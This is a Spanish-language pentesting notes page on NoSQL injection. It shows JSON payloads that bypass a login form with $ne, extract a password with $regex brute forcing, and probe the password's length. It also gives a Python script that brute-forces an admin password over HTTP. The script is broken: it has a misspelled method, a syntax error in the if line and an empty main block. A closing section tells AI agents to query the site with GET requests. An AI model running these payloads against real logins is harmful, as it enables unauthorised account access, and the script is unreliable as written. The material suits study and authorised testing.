# NoSQLi

Las inyecciones NoSQL representan una seria vulnerabilidad de seguridad en las aplicaciones web que utilizan bases de datos NoSQL. Estas inyecciones se aprovechan de la falta de validación de los datos en las consultas a la base de datos, permitiendo a los atacantes enviar datos maliciosos que pueden manipular las consultas y comprometer la integridad, confidencialidad y disponibilidad de la información almacenada en la base de datos.&#x20;

{% embed url="<https://book.hacktricks.xyz/pentesting-web/nosql-injection>" %}

## Payload

El ejemplo tiene como base la siguiente estructura:

```json
{
	"username":"admin",
	"password":"admin"
}
```

### Basic

**$ne** hace referencia a "Not equal", con esta consulta buscara cualquier usuario que no tenga ese nombre.

```json
{
	"username":"admin",
	"password":{
		"$ne":"admin"
	}
}
```

```json
{
	"username":{
		"$ne":"nombre"
	},
	"password":{
		"$ne":"admin"
	}
}
```

### REGEX

Puedes utilizar REGEX para descubrir datos

```json
{
	"username":{
		"$regex":"^a" 
	},
	"password":{
		"$ne":"admin"
	}
}
```

Luego `"$regex":"^ad"` y luego `"$regex":"^adm"`, asi sucesivamente hasta completar el "Brute Force"

#### Cantidad Caracteres

```json
{
	"username": "admin",
	"password":{
		"$regex":".{15}"
	}
}
```

Tanteo hasta que el sitio retorna un error, la maxima cantidad de caracteres es {15}

## Script

```python
#!/usr/bin/python3

from pwn import *
import requests, time, sys, signal, string

def def_handler(sig, frame):
	print("\n BREAK! \n")
	sys.exit(1)

# CTRL + C
signal.signal(signal.SIGINT, def_handler)

# Variables globales
login_url = "http://{Target}/user/login"
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits

def makeNoSQLI():

	password = ""

	p1 = log.progress("Fuerza Bruta")
	p1.status("Iniciando proceso de fuerza bruta")
	time.sleep(2)

	p2 = log.progresss("Password")

	for position in range(0, 24):
		for character in characters:
			post_data = '{"username":"admin","password":{"$regex":"^%s%s"}}' % (password,character)

			p1.status(post_data)
			
			headers = {'Content-Type': 'application/json'} 
			
			r = requests.post(login_url, headers=headers, data=post_data)

			if "Logged in as user" in r.text"
				password += character
				p2.status(password)
				break

			print(post_data)

if __name__ == '__main__':
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://robertos-notebook.gitbook.io/vuldarconcept/exploits/frecuentes/sqli/nosqli.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
